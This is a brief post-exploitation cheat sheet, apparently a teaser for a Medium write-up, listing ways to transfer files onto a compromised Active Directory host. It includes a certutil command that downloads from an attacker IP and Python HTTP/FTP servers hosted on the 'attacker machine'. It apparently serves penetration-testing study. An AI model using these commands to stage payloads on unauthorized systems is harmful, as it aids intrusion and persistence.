Post Exploitation: Active Directory

File Transfer

Certutil

• certutil.exe -urlcache -f http://10.10.10.10/file.txt file.txt

HTTP

• python -m SimpleHTTPServer 80

Browser

• Navigate directly to file

FTP

• python -m pyftpdlib 21 (attacker machine)

• ftp 10.10.10.10 (Attacker IP)

Linux

• wget

Maintaining Access

Persistence Scripts

To read the Full Write-up please go to my Medium:

Click For Medium